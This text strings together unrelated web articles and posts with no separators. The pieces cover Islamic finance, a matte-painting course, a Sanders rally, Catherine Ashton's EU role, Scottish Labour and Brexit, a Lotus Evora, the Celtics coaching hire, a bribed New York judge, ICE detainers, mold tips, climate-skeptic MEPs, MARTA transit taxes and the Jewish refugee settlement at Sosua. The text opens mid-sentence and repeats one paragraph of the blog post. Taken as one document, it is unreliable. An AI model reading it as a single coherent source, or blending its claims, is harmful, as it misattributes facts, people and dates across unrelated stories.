allowed Christopher Columbus to sail for the New World was drawn up by Muslim lawyers. Christian authorities in the late Middle Ages began to change their thinking, eventually reaching a consensus that neither profit nor interest were sins after all (as long as the latter wasn't deemed usuriously high), but Muslim religious authorities have continued to separate the two. The current renaissance of Islamic finance has its roots in the 1970s. Recently independent after decades of Western control, Muslim countries from Southeast Asia to the Persian Gulf were trying to reassert what they saw as their own cultural and religious traditions. The Middle East, flush with oil money, was a natural arena for the practice and display of Muslim financial piety. Today, with oil and gas prices at record highs, there are vast sums of Middle Eastern money looking for places to be invested. And banks, hedge funds, and other financial-services companies are stumbling over each other to create those opportunities. The process has been greatly aided by the creation, in 1999, of the Dow Jones Islamic Market Indexes, which list stocks that a board of shariah scholars has deemed deserving of investment, and by firms such as Shariah Capital, which advises companies on shariah compliance. Middle Eastern investors "are a very large and wealthy population, and managing their money the way they want it to be managed has become much easier," says Tim Krochuk, managing director of GRT Capital Partners, a Boston-based investment advising firm that offers shariah-compliant asset management strategies. "Why wouldn't we get involved?" But Islamic finance is no longer just about managing oil fortunes. Growing numbers of middle-class Muslims are also starting to run their financial lives according to shariah principles. Much of the recent growth in Islamic finance has come from consumer finance instruments - basically Islamic alternatives to car loans, home mortgages, and other consumer loans - that are designed for the middle and working class rather than the wealthy, according to Abdulkader Thomas, CEO of a Kuwait-based Islamic financial consultancy called Shape Financial. Here in the United States, Guidance Financial last year sold more than a billion dollars in Islamic home finance instruments. Designing these instruments - and fitting them into the existing tax and regulatory structures - has demanded creativity on the part of banks. One popular loan option, for example, is called a murabaha. In a murabaha, someone who wants to buy, for example, a car, rather than taking out a loan, goes to an Islamic bank and has the bank buy the car for him. He then buys it from the bank, usually in installments, with a mark-up for the bank's having provided the service. Another, called a musharaka, is a joint venture set up between the customer and the bank. In the context of a home purchase, if the customer has put in 20 percent of the money for the house, he gets a 20 percent share of it, and then gradually buys out the bank's 80 percent (along with a utility fee to the bank for letting him stay in the house) until he owns it outright. The growing sector has its critics, among both economists and conservative Islamic clerics, who describe it as a casuistic bait-and-switch. According to Timur Kuran, a professor of political science and economics and chair of the Islamic Studies program at Duke University, "Islamic banks come up with these convoluted ways of lending money that make interest look like something else, when in fact they're really just operating like conventional banks." Sohrab Behdad, an economics professor at Denison University and another critic, sees murabahas as particularly egregious. He sees no difference between entering into a murabaha and simply taking out a loan and buying the car outright, especially since the title to the car is often transferred from the bank to the customer almost immediately. To economists like Behdad, the bank's service charge is simply a disguised interest payment. All these obfuscations, the critics charge, add layers of bureaucracy, and end up cutting into the revenue that Islamic financial arrangements create, hurting the cash-strapped clients that the system prides itself on taking care of. To the bait-and-switch critique, the industry's proponents respond that the difference is there because Islamic law sees one, even if functionally it's hard to find it. "It's like the difference between a wife and a live-in girlfriend," says David Loundy, vice president of the Chicago-based Devon Bank, a national leader in Islamic finance. "They may serve some of the same functions, but there's a legal difference between the two, in terms of inheritance and taxes." Others in the industry argue that the difference is more than legalistic. Amjad Quadri, national director of the Ann Arbor, Mich.-based University Islamic Financial Corporation, points out that the partnership structure of a musharaka is not mere symbolism. In the case of a typical mortgage, if the borrower is unable to make his payments and the bank is not able to recoup its initial investment by then selling the house, the bank can often come after the borrower for the rest of the money. In an Islamic home financing arrangement, however, the bank does not have that recourse. "The risk has to be shared, and lenders aren't allowed to take advantage of borrowers in that way," Quadri says. "There's a concept of being merciful to people in debt and hardship." UIFC and Guidance have started to see a trickle of non-Islamic customers, attracted by the more forgiving financial model they offer. To critics such as Kuran, the idea that economic relationships would be structured around religious doctrine is wrongheaded and dangerous. But the scholars and financiers who truly believe in the tenets of Islamic finance describe something more benign: a buffer against the vicissitudes of the market. One Islamic financial instrument that hasn't yet made it to the United States is Islamic life insurance, or takaful. For-profit insurance is not allowed in shariah, in part because it turns a profit on the misfortune of others. Takaful, on the other hand, is a mutual assurance arrangement in which members' regular payments are used to help other members who are in need, with no money set aside for profit. According to Ibrahim Warde, author of the 2000 book "Islamic Finance in the Global Economy," takaful companies, even when connected to investment funds, are ultimately controlled by the policy-holders themselves, and as a result are usually more generous in terms of payouts. There's nothing exclusively Islamic about this idea: Many of the biggest insurance firms in the West descended from similar mutual association societies. But industry analysts see takaful as a major growth area. Global reinsurance giants such as AIG, Swiss Re, and Munich Re have gotten into the business. In the United States, at a time when the public image of home insurance companies has been tarnished by complaints, especially in the two years since Hurricane Katrina, of inadequate payouts and canceled policies, it may be that such a pitch, with its faith-infused promise of fair treatment and mutual support, could find an audience among even the most committed heathens. Drake Bennett is the staff writer for Ideas. E-mail drbennett@globe.com. © Copyright 2007 Globe Newspaper Company. More from Boston.com
Over the course we learned a lot about the history of matte painting, different types of mattes, lenses, photographs, color, composition and process. I'll be sure to post up some of the work I did over the next week or so but here's my final take on our cityscape assignment. Still a few spots I think could be addressed, but damn if it wasn't a blast trying something new for the first time. This matte process is pretty addictive.
So for the past 2 months I've been taking an online course in mattepainting. The course is held through CGSociety and the instructor is David Luong (who btw is one of the nicest persons you'll ever speak with) He works over at a little indy studio called Blizzard Entertainment and is pretty much responsible for every badass Blizzard cinematic you've ever seen. That new Warlords of Draenor video? Yeh that's him and his teamOver the course we learned a lot about the history of matte painting, different types of mattes, lenses, photographs, color, composition and process. I'll be sure to post up some of the work I did over the next week or so but here's my final take on our cityscape assignment. Still a few spots I think could be addressed, but damn if it wasn't a blast trying something new for the first time. This matte process is pretty addictive.
Extra thank you to my buddy for providing the original plate that he shot out in his travel to Germany, and to and and everyone else in the course for their valuable input. Appreciate it!
The Landscape assignment I did can be seen here:
As always, thanks for checking!
-D
E.Mail: dylan.pierpont@gmail.com
Instagram: [at]dylanpierpont
Speaking at a rally in Dearborn, the Vermont senator lambasted GOP front-runner Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE for dividing the country.
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“If there’s anything we are going to accomplish together, we’re going to end bigotry in this country once and for all,” Sanders said.
“The Donald Trumps and his friends are not going to prevail in scapegoating minorities in this country,” he added. “We will not let Trump divide us up.”
Sanders has been making a play for delegate-rich Michigan and outspent Clinton on TV ads in the Great Lakes State, according to the Detroit News.
Still, Clinton continues to lead him in the polls by double digits. The former secretary of State has been outperforming Sanders with minority voters, which will likely help her in Michigan.
At the Monday rally, Sanders continued to contrast himself from Clinton over trade policies.
“Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE has supported virtually every one of these disastrous trade policies, I have opposed every one,” Sanders said.
Sanders also mentioned Clinton's comment from Sunday's debate in Flint that he opposed the 2008 bill bailing out the automobile industry, calling her remark "absolutely untrue."
Looking ahead to Tuesday's primary, Sanders said that large voter turnout will aid his campaign and help take on the party's establishment.
There are two main motivations for national leaders when nominating candidates for high positions in international organisations. Either send away a politician who could be a domestic opponent – for example Nicolas Sarkozy nominating Dominique Strauss-Kahn for the IMF – or choose someone with a low enough profile not to cause problems back home.
The latter was the case in autumn 2009 when, post ratification of the Lisbon Treaty, the European Union needed a High Representative of the Union for Foreign Affairs and Security Policy (aka the EU’s foreign minister).
David Miliband had chosen to focus on UK national politics, Peter Mandelson was judged unacceptable to other EU Member States, and so the job fell to Catherine Ashton, previously European Commissioner for Trade.
A surprise nomination even for the trade job, her nomination for the High Representative position raised a few eyebrows in Brussels, but the logic fitted – the other two top jobs (President of the Commission, President of the European Council) had gone to male politicians of the centre right, and Ashton is female and from the left.
Since then things have gone from bad to worse for Ashton.
She was criticised for not going to Haiti and for not being decisive enough over uprisings in North Africa, with Britain, France and Germany releasing a statement on Egypt before any word from Ashton. David Miliband and Carl Bildt felt the need to pen a letter trying to get Member States to back her, Germany’s foreign minister has tried to defend her while the Belgian foreign minister has attacked her, and in the meantime turf wars rage over the establishment of the European External Action Service (EEAS).
It is an open secret in Brussels that it takes weeks for basic administrative decisions to be taken at the top of the EEAS. Meanwhile the change of government last year in the UK further isolated Ashton, a Labour politician with a Conservative counterpart – William Hague – in King Charles Street.
I first queried the sustainability of Ashton’s continuation in the post in January this year in light of her poor response to developments in Egypt, and more academic analysis has followed. This discontent has reached a new height this week with German Green MEP Reinhard Bütikofer tweeting that European People’s Party (EPP, centre right) MEPs are plotting to oust her, and openly voicing his own critique of Ashton, and his judgment that she is in “real danger”.
The problem is that Ashton is damned if she stays, but replacing her is probably even more fraught with dangers. Bütikofer and his European Parliament colleagues have very blunt formal powers – to censure the whole European Commission of which Ashton is a member. Some statement from the political groups in the Parliament, indicating a lack of confidence in Ashton, might be a softer way forward, but the Socialists & Democrats (S&D group) might not put their heads above the parapet.
Then for the Commission and the Member States the issue is no less complex – would Ashton be willing to go on her own accord, leaving the UK to nominate someone new? Would the UK manage to maintain the same portfolio, or would there be a push for another Member State to get the Foreign Affairs brief? How about party political balance, with the coalition in the UK the nominator of a successor?
Jamie Glackin: Popular Scottish Labour figure breaks ranks. PA
The former chair of Scottish Labour says he is now likely to back a Yes vote in a second independence referendum.
Jamie Glackin becomes the first Labour grandee to signal a change on the constitution in the wake of the UK's vote to leave the European Union.
Voters across the UK endorsed Brexit by 52% to 48% on Thursday. However Scotland, London, Manchester and Northern Ireland all voted to stay, with Scots backing EU membership by 62%.
Mr Glackin, who chaired Scottish Labour between 2013 and 2015, said he was "more minded to support independence now than I was on Wednesday" as a result of the Leave vote. He added that he "supported Nicola Sturgeon 100%" in her bid to negotiate directly with EU leaders on Scotland's behalf.
First Minister Nicola Sturgeon said on Friday that Brexit represented a "material change" in circumstances from the 2014 vote and it was now "highly likely" there would be a second referendum on Scottish independence. She confirmed on Saturday that she would seek direct negotiations with European leaders about allowing Scotland to retain EU membership.
Mr Glackin, who has sat on Labour's Scottish Executive Committee for six years, is understood to have spoken out during a meeting of the SEC on Saturday. In his comments, he told fellow Scottish Labour bosses that he could no longer back the pro-Union line in the current circumstances.
Speaking to STV News, Mr Glackin confirmed his position on independence had changed, citing the impact of Britain leaving the EU on small businesses like his.
He said: "I am absolutely committed to what's best for Scotland and, as a businessman, my business cannot survive outwith the common market. I have to think of my workers. Labour is supposed to be about thinking for the workers. My workers and my business need to be in the EU.
"I absolutely support Nicola Sturgeon 100% in her sojourn across European capitals. The whole landscape has changed. We are in a completely different place now. We have to accept the consequences of this vote. If a second referendum on independence were held tomorrow, Yes would win. The Labour Party cannot be seen to stand in the way of that.
"I accept the pooling and sharing of resources argument. I accept the importance of standing in solidarity with working class people. But the people of England made a massively different decision to us and did so democratically. Now it is our right to stand with democratic people across Europe."
Mr Glackin runs Renewable Energy Consultants, a small firm operating in the green sector.
He was keen to stress that his views were not a rebuff of the Scottish Labour leadership. He insisted: "I support Kezia Dugdale 100% and she's the only reason I'm still in the Labour Party."
Although he campaigned against independence in 2014, he is now minded to vote for Scotland leaving the UK.
He said he would "absolutely share a platform" with the SNP in a second referendum if no arrangement can be made to keep Scotland in the EU.
He said that he expects other leading Scottish Labour figures to come forward in the days and weeks ahead to echo his change of heart.
Mr Glackin explained that it was not yet a foregone conclusion that he would vote Yes but said it was more probable after Thursday's referendum.
He said: "If there's a change of leadership in UK Labour and a credibility married to some sort of competence, and we come to some sort of understanding with the EU, it doesn't necessarily mean I'd vote for independence then. But it is more likely than two or three days ago."
Jeremy Corbyn, he stressed, had to go as Labour leader. "I cannot foresee any circumstances where Jeremy Corbyn wins a general election and secures us a credible relationship with the EU."
A spokesperson for Scottish Labour said: "Labour's manifesto for the Scottish election ruled out a second referendum in this parliament. That's unlikely to change any time soon and Scottish Labour will apply our values to the challenges ahead and take decisions in a democratic fashion, according to the views of our members.
"It is clear that the fallout from Brexit will have huge, far-reaching consequences for our economy and our politics. With so many unanswered questions and so much uncertainty likely to be hanging over the UK for the next few years it is important not to make knee-jerk decisions.
"Now is a time for calm heads and a period of reflection and Labour will continue to consider all options in the best interests of the people of Scotland."
According to an Automotive News interview with Lotus CEO Jean-Marc Gales, Lotus's plan to offer a naturally-aspirated, entry-level Evora doesn't have to do with enticing more customers—it's purely down to regulations. "Over a five-year period in the U.S. we have to show a 3 percent per year reduction in carbon dioxide emissions," said Gales. "One option is remove the supercharger."
He likens this move to McLaren, which offers a detuned 570S alongside the more powerful 650S. Lotus offers four-cylinder engines in the Elise and the Exige, but Gales said a four-pot "wouldn't fit" in the Evora. It's unclear if he means that a four-cylinder wouldn't fit in terms of packaging, personality, or both.
Going supercharger-less would easily be the cheapest and simplest way for Lotus to increase fuel economy and reduce emissions. That it offers U.S. customers a car at a lower price point is a nice bonus for us.
In a way, it'd be like a revival of the original non-S Evora, which went on sale back in 2010. While more power is always a good thing, you buy a Lotus more for its superlative chassis, rather than its engine. A naturally aspirated Evora would still offer most of what the Evora 400 brings, but at a (hopefully) more reasonable price point.
Of course, nothing's confirmed yet, so don't go running out to the Lotus showroom with your checkbook in hand yet.
The Celtics have hired Butler coach Brad Stevens as their next head coach.
"Our family is thrilled for the opportunity given to us by the leadership of the Boston Celtics, but it is emotional to leave a place that we have called home for the past 13 years," Stevens said in a statement released by the Butler University. "We truly love Butler University and Indianapolis, and are very thankful to have had the opportunity to celebrate so many wonderful things together. What makes Butler truly unique is the people that we have been so blessed to work with. When it comes time for our kids to look at schools, we will start with Butler University."
Stevens, 36, has been regarded as one of the brightest young minds in college basketball after leading the Bulldogs to a 166-49 record and two trips to the Final Four in six seasons. A known proponent of advanced statistics, Stevens is now the youngest head coach in the NBA and the only coach in the league hired to his current position directly from the college ranks.
"Brad and I share a lot of the same values," Celtics president Danny Ainge said in a statement. "Though he is young, I see Brad as a great leader who leads with impeccable character and a strong work ethic. His teams always play hard and execute on both ends of the court. Brad is a coach who has already enjoyed lots of success, and I look forward to working with him towards Banner 18."
The Celtics recently agreed to let coach Doc Rivers out of the final three years and $21 million of his contract so that he could join the Clippers in a dual role as coach and front-office executive. Boston received a first-round pick as compensation. The Celtics then agreed to trade All-Stars Kevin Garnett and Paul Pierce to the Nets for a package that included a number of draft picks. Boston is clearly headed for a youth movement rebuilding effort, but Ainge said this week that his team would not be purposefully dumping games to improve its position in advance of the loaded 2014 draft lottery.
"We are not tanking," Ainge said, according to the Boston Globe. "That's ridiculous. This is the Boston Celtics."
Stevens joins a long list of first-time head coaches hired this summer: former Pacers assistant Brian Shaw is now the coach of the Nuggets, Grizzlies assistant coach Dave Joerger was promoted to head coach, former Knicks guard Jason Kidd is now the coach of the Nets, Lakers assistant Steve Clifford is now the coach of the Bobcats, Spurs assistant coach Mike Budenholzer is now the coach of the Hawks, Jazz assistant coach Jeff Hornacek is now the coach of the Suns and Warriors assistant coach Michael Malone is now the coach of the Kings.
For the first time since he began serving as a State Supreme Court judge in 1995, Michalek’s role in the courtroom was as an admitted criminal, one who pleaded guilty to felony crimes of bribe-receiving and offering a false instrument for filing in a court case. Both of the crimes involved Michalek’s dealings with longtime political power broker G. Steven Pigeon.
Looking thin, pale, tired, dejected and broken, the 65-year-old Michalek told the court that he was resigning from his $193,000-a-year judgeship, and agreeing to cooperate as a witness in the ongoing probe into Pigeon’s political activities. He faces a possible prison term of up to seven years when he is sentenced on Sept. 21.
[Judge Michalek, facing 'very serious' investigation, has unblemished record]
As a convicted felon, the former judge also will lose his right to practice as an attorney. It’s a painful fall from grace for a man who was selected as the Outstanding Jurist in 2005 by the Erie County Bar Association’s Matrimonial and Family Law Committee. And many of the people who knew and worked with Michalek over the years seem genuinely surprised.
“Would I ever have expected Judge Michalek to get into any kind of trouble? Absolutely not,” said former Erie County District Attorney Frank J. Clark, who worked with Michalek from 1977 to 1985. “John was a very conservative, very reserved, very careful guy … a public servant. I was extremely surprised to hear he was in any kind of trouble. It just doesn’t add up.”
Until now, many people in legal circles would say Michalek lived a charmed life. A State Supreme Court judgeship is one of the most coveted jobs for any lawyer in New York State. It is a 14-year position that, in addition to a salary far beyond that made by most lawyers, provides a generous pension and other benefits.
Michalek never had to run in a contested election for his judgeship. A registered Democrat, he was selected by political party leaders to be “cross-endorsed” by both Democrats and Republicans in 1994 and again in 2008.
Every judge has his or her critics, but legal experts say most of the lawyers who practiced in front of Michalek considered him to be fair, honest and hardworking.
“I’ve practiced in front of him a number of times over a period of 20 years. Even when he’s ruled against me, I’ve never seen a decision from him that seemed to be tainted by politics or anything else,” said Amherst lawyer Steven M. Cohen.
It is sad, said Cohen and several other Buffalo attorneys, that Michalek has become the second brother in his family to wind up in serious trouble with the law.
Not like his brother
His older brother, the late James J. Michalek, was a flashy guy – an attorney and investment scam artist who lived in an extravagant home in Orchard Park, wore a full-length fur coat, drove an expensive sports car and went to prison in the 1990s for cheating banks out of millions of dollars and dozens of senior citizens out of their retirement savings.
To most people in Buffalo’s legal community, John Michalek seemed to be cut from a much different cloth. He earned a reputation as an earnest, quietly efficient attorney who served as a top prosecutor in the Erie County district attorney’s office before political party leaders chose him to become a State Supreme Court judge in 1994. He began serving in 1995.
“John was not only embarrassed by the actions of his brother, he felt terrible about it,” said a close family friend of Michalek. “Some of Jim’s victims were old family friends, old neighbors and retired steelworkers … John wanted people to know that he wasn’t like that.”
“John and his brother Jim were such different personalities. Jim was flamboyant, a riverboat gambler,” Clark said. “John seemed to be a much different guy.”
[Michalek’s defense attorney has extensive experience as prosecutor]
The former judge grew up in a well respected family in Lackawanna. His late father, Leo Sr., was a physician. His late mother, Louise, was a nurse widely involved in charity and volunteer activities. The couple raised five children – three lawyers, a physician and a psychiatrist.
“I’ve known this family going back to the 1950s, and they were one of the most respected families in Lackawanna,” said former Erie County DA Edward C. Cosgrove, still practicing law at age 81. “They were good, solid people, deeply religious, hardworking, very good students.”
John Michalek graduated from St. Francis High School, Canisius College and the University at Albany Law School before he was hired by the district attorney’s office in 1977. Cosgrove gave him his first job.
“John was a marvelous young man who worked very hard for us,” Cosgrove recalled.
A notorious client
In 1985, after serving four years as chief of the Justice Courts Bureau, Michalek left the DA’s office and established a Hamburg law firm with two partners, Daniel J. Henry and Robert M. Vallarini, who later would win election as an Erie County legislator. Michalek handled some criminal defense work with the law firm, and his most famous – or infamous – client was the late Richard W. Matt.
Michalek represented Matt in a number of criminal matters in the early 1990s. Matt jumped into the national headlines last summer when he and another inmate escaped from the Clinton Correctional Facility in Dannemora. After nearly three weeks on the run, Matt was shot and killed by police last June.
Michalek became active in Town of Hamburg politics, and he was named assistant town attorney in 1988. Hamburg political figures say Michalek was an invaluable aide to Vincent J. Sorrentino, who was the town attorney and also the chairman of the Erie County Democratic Party. After Hamburg’s town supervisor, Jack Quinn, was elected to Congress, Michalek was appointed to take his place as interim supervisor for the year of 1993.
[No new cases going to judge who is under investigation]
In 1994 – with a big push from Sorrentino – Michalek was selected by party leaders to get both the Democratic and Republican Party endorsements for State Supreme Court judge. With no actual competition, he won election for his first 14-year term in November 1994.
He has not been a controversial figure as a judge, but has handled some high-profile cases. In a 2012 ruling, he awarded more than $2.7 million – or more than $230,000 each – to 12 white Buffalo firefighters who alleged they were passed over for promotions because of their race. City officials vehemently disagreed with the ruling, which was later overturned by an appeals court.
In April of this year, Michalek made a ruling that barred former Buffalo School Board James M. Sampson from the ballot for this year’s election. Michalek agreed with opponents of Sampson who said he did not have enough legitimate signatures on his nominating petition.
One local attorney, Arthur Giacalone, said he had a bad experience with Michalek and felt he treated him and his client unfairly during a 2014 trial. But most attorneys and court officials interviewed by The News in recent weeks said Michalek had a solid reputation.
Allegations shock peers
“I always considered him to be a decent guy, hardworking and diligent,” said one former colleague, Salvatore R. Martoche, a former state appellate judge now in private practice. “I honestly can’t say anything negative about him because I don’t know anything bad about him.”
“I practiced before him on several different lawsuits, and I thought he was fair and very careful,” said Cosgrove, Michalek’s former boss. “As far as I am concerned, his past and present reputations are marvelous. I don’t know of anything contrary to that. I’d have to understand every part of what happened before I made any judgments on him.”
Acting Erie County District Attorney Michael J. Flaherty Jr. was not involved in the Michalek probe, but he held a press conference after Wednesday’s court session to talk about the importance of prosecuting judges and other government officials who violate the public trust.
Flaherty called Michalek’s case “a sad and intolerable ... disheartening” situation.
[Investigators zero in on email exchanges between Pigeon and Michalek]
The acting DA said he cannot recall another instance of a State Supreme Court judge in Western New York being accused or convicted of bribery-related charges.
A tall man who enjoyed playing pickup basketball with local attorneys, Michalek is described by friends as a devoted husband and father who has donated his time to St. Francis High School and other charitable and not-for-profit organizations.
One longtime Hamburg politician, who spoke on the condition that he or she would not be identified, expressed shock after learning of Michalek’s close relationship with a controversial political power broker like Pigeon.
“Knowing John as I do, I cannot fathom him doing anything illegal,” said the politician, a friend of Michalek’s for more than three decades. “I’ve known unsavory people in politics, but I can’t imagine John being one of them.”
When asked if he ever imagined that Michalek would take bribes or do anything else that was illegal, Cosgrove exclaimed: “Goodness, gracious no!”
email: dherbeck@buffnews.com
The change began in Oregon after a federal judge ruled that a local sheriff had illegally held an immigrant woman at the request of Immigration and Customs Enforcement
(ICE). Other Oregon sheriffs then ceased honoring ICE requests to detain immigrants for 48 hours without probable cause for a criminal violation, known as a detainer.
Subsequently, sheriffs in California, Washington, Minnesota and Kansas followed suit.
“When a judge says something is in violation of the Fourth Amendment, I am not going to just keep doing it,” San Diego County Sheriff William Gore told The New York Times. “If they want to take someone into federal custody, they can decide to do that, but I am not going to keep holding somebody because they ask me to, and nothing more than that.”
That stance is backed by the American Civil Liberties Union (ACLU). “This is a problem with basic civil rights — we do not hold people without due process in this country,” said Jennie Pasquarella, a lawyer with the ACLU of Southern California, which has sent letters warning county sheriffs here to stop honoring the federal immigration detainers. “You cannot deprive someone of liberty without having probable cause to know they could be deported. The local sheriffs all over the state are really recognizing that reality.”
Not all of them are. Sheriff Donny Youngblood of California’s Kern County has continued to honor ICE requests to hold undocumented immigrants.
“If you’re in this country illegally and you commit a crime, you should be deported — that seems so simple to me,” Youngblood said. “If you show not once but multiple times you have no respect for the laws of this country, that’s disturbing. We have an obligation to public safety, and if someone is charged with a serious criminal act and immigration officials want him, I reserve the right to hold that person so that can happen.”
-Noel Brinkerhoff, Steve Straehley
To Learn More:
Fearing Lawsuits, Sheriffs Balk at U.S. Request to Hold Noncitizens for Extra Time (by Jennifer Medina, New York Times)
Philadelphia Mayor Nutter Orders Police and Prisons to Limit Cooperation with Federal Immigration Agents (by Noel Brinkerhoff, AllGov)
Of course if you want a professional Mold inspection of your Panama City Beach or Destin home, you can contact us and we would be happy to help.
Mold Inspection Tip 1: Reduce humidity.
This can seem impossible in Florida at times, but it can be done. Kitchens and bathrooms should have good ventilation and an exhaust fan if applicable. Keep the AC running, it will remove moisture from the air which will prevent mold growth. Next, inspect the AC Drain lines to make sure they are clean.
Mold Inspection Tip 2: Control/fix moisture problems.
Inspect under your sinks and cabinets for any leaks and fix immediately! Your doors and windows can collect moisture from the cool air inside creating condensation from the hot Summer air outside. Mold may have started to develop here, so this is something you will want to look at.
Mold Inspection Tip 3: Don’t be afraid to talk to an expert.
Some visible mold in isolated spots can be cleaned up, but what is hiding underneath? If there are symptoms of mold that you cannot identify, seek the help of a Panama City Beach or Destin Mold Professional like Green Air Technology.
But it’s also tougher than ever to pick the Super Bowl matchup.
In the AFC, you have the “Killer B’s” up against two darn good B’s of their own in the Belichick-Brady duo.
On the NFC side, you have the bad man himself, Aaron Rodgers, against the Dirty Birds of Atlanta.
You can make the case that the four best teams are left standing. You can also say the four best quarterbacks of all the playoff teams lead them. In fact, three of these quarterbacks have won a combined seven Super Bowls.
Starting today, you can descend through the famous rotunda of the Guggenheim museum in New York—a piece of art in itself—thanks to special aerial Street View imagery, or stroll the grand halls of the world’s heaviest building, the Palace of Parliament in Romania. View Monet’s famous water lilies in super-high “gigapixel” resolution and zoom in to see his layered brushstrokes—then visit Monsieur Monet’s real-life garden to see his inspiration.
Recently the Next Left blog surveyed and showed that all the top ten Tory blogs in the UK denied the existence of global warming.
Now Martin from the Lay Scientist blog has done a similar survey of UK MEPs.
By my count, 23% of Britain’s 72 MEPs are either explicit climate ‘skeptics’, or are members of ‘skeptic’ parties who remain silent on the subject (I use the term in quotes since climate ‘skeptics’ are generally about as ‘skeptical’ as 9/11 ‘truthers’ are truth-oriented – googling for things that support your case and credulously accepting them as ‘fact’ isn’t skepticism).
Of those, eight belonged to UKIP, two were Conservative and two BNP.
Views of several other MEPs were not know.
Martin adds:
The 26 Conservatives did better than I expected, perhaps through Cameron’s attempt to rebrand the party as Green Conservatives. Indeed, Tories like Vicky Ford are openly attacking bad science, with quotes like: “To be honest, I get fed up with climate-change-deniers.” Roger Helmer and Daniel Hannan from the Tory fringe pose the last challenge to a European party consensus on the issue, while the views of four remain unknown. The fringes of the right, who now comprise around 20% of our elected representatives in Europe, are a car crash. The BNP aren’t exactly the most rational of parties, and their views were not unexpected; but UKIP are a much more serious proposition and take a fiercely anti-science line, as you can see from a quick search of their website. UKIP are a climate denialist party.
MARTA wants to use revenues from a transportation sales tax on heavy rail extensions to the north and east, bus rapid transit along I-20 East, and a light-rail connection through the "Clifton Corridor."
Fulton cities and county officials have been meeting for months — and will meet again next month — to finalize their pitch to voters. Short-term projects tend to be relatively modest such as road or intersection improvements measured in the millions of dollars.
To pay for the projects, officials appear to be leaning toward a five-year, one-cent tax. Indeed, a new state law limits their ask in this case to five years at a time.
But MARTA is talking about needing decades. And about $8 billion. The transit agency wants to team up with Fulton and DeKalb and ask voters there to approve a new penny sales tax that would last through 2057, matching the lifespan of the sales tax that Fulton and DeKalb shoppers have long been paying. Half of the revenues generated by that new sales tax would go to MARTA, which would leverage it to help bankroll its expansion project. The other half would go to Fulton and DeKalb to spend on any kind of transportation projects they like.
Commissioner Marvin Arrington Jr., who represents South Fulton, where heavy rail is not an option now or in the future. He says he supports MARTA and mass transit, but that half a penny over five years — which is the maximum timeframe Fulton can ask for — doesn't seem to be the vehicle to carry it.
"I don't think that it is one or the other," Arrington says. "In my mind we need both. And I think MARTA should get its fair share. But I don't think MARTA's fair share in South Fulton is 50 percent of the money."
The commissioner says he thinks there could be some middle ground if the tax would be in place for more like 20 or 40 years, not five.
But what MARTA would need is not just halfsies with Fulton and DeKalb on a penny, but also approval from the state Legislature early next year for a decades-long tax. The Gold Dome might not be ready to OK an odd grouping: an agency and two counties coming together to collect a tax for that long a time.
"MARTA's interest in the project list is to ensure that its three expansion projects are included," MARTA spokesman Lyle Harris says. "In order for that to happen, the MARTA Act must be changed with respect to the half-penny of the T-SPLOST being directed to fund those projects and to extend the duration of that half-penny."
The night before Kristallnacht — the infamous date in November 1938 when synagogues burned across Germany and the Nazis arrested tens of thousands of Jews — my father's family escaped from Berlin and fled to one of the few places in the world willing to take in Jewish refugees. They settled in Sosua, a remote beach town on the northern coast of the Dominican Republic, whose dictator, Rafael Trujillo, had offered Jews safety for a promise to develop the land.
This is the story I heard countless times. "It was paradise," my 89-year-old Aunt Hella would say, weaving my family's heritage into a little-known part of Holocaust history.
But the story never entirely made sense.
As it was told to me, a small Caribbean country saved my family at a time when more powerful nations such as the United States and Britain refused to do the same. In return, the Jews transformed a jungle coastline into a peaceful settlement with a hospital and a school. My grandfather, a salesman by trade, became the village baker. Hundreds of others — accountants, nurses, tailors — learned to ride horses and clear roads.
The story always ended the same way, and with little explanation. Sosua had been ruined, I was told, its streets overrun by prostitutes and foreigners. The town had become a destination for sex tourism, tainted by pickpockets and drugs. My family moved away, like so many others, and never returned.
My father lives in Santo Domingo, where I was raised, and his parents and two sisters ended up in Miami. People often act surprised when I tell them that I'm Jewish and Dominican, and I've yet to meet anyone who knows about Sosua. "Never forget," people say about the Holocaust. But this part of Jewish history has been almost entirely lost, and the story I'd been told seemed incomplete.
I thought I knew the beginning and the end. In July, I left for Sosua to find out the rest. It quickly became clear why so many chose to forget.
When the settlers arrived in Sosua, the beach was uninhabited. Often, they would have the entire area to themselves. (Hans Deutsch/American Jewish Joint Distribution Committee )
Sosua’s main beach is now a destination for both foreigners and locals. (Emily Codik /TWP)
The first thing I wanted to see was the beach. I remembered seeing photos of my father's family along the shore. The refugees would hang their clothes on sea grape trees and wade into the shallow waters. After school, the village children would often have the beach to themselves.
My father warned me to stay away. The beach, he said, had become a site for prostitution and crime.
Could it really be that dangerous? I remembered going there as a kid, but I hadn't been back to the town in more than a decade. I asked Ivonne Strauss de Milz, a family friend and a descendant of refugees who lives in Sosua, to take me there. "Is that the purse you're taking?" she asked, then instructed me to zip it shut.
The shore was strewn with mismatched umbrellas and beach chairs scattered in front of hundreds of shacks selling cigars, souvenirs, Presidente beer and Dominican aphrodisiacs. It didn't look that unsafe. But around the beach, several people later told me, tourists can find any type of sex they might want: straight, gay, sex with trans people — even illegal sex with minors.
Prostitution has long been a part of Dominican culture, but nowhere does it feel more entrenched than in Sosua. Elsewhere, the industry exists in the grays of life, largely unregulated, widely known but rarely seen.The sex trade took off there in the 1980s and '90s, after a nearby airport opened and foreign tourists flooded the town. Over the next few decades, the hotel industry boomed, and Dominican women, facing insecure and low-paying job prospects, headed for Sosua hoping to find more profitable work. As prostitution increased, it drew more tourists looking for sex, and the town got a reputation as a major sex-tourism destination. Today, a short walk from the beach, on the main drag of Calle Pedro Clisante, dozens of prostitutes line the sidewalk in front of the busy open-air restaurants and bars filled with foreign men.
"Sosua has a before and after," said Alexandra Lister, a program manager with CEPROSH, a health organization based in Puerto Plata, who has worked with sex workers in the region since the 1990s. "And the 'after' isn't pretty."
Many longtime locals, like Ivonne, are upset that prostitution has consumed Sosua's reputation. Efforts to discourage the trade have failed, and its prevalence means that the town's businesses — hotels, restaurants, cafes — benefit from it, whether the owners condone sex work or not.
As we drove away, Ivonne pointed out one hotel. It was a three-story building, painted lime green and white, where she said my grandparents' house had once stood.
A man named Joe Benjamin had lived next door. Before my trip, several people had told me to speak with him. He understood why Sosua had changed. He was the one I was going to see next.
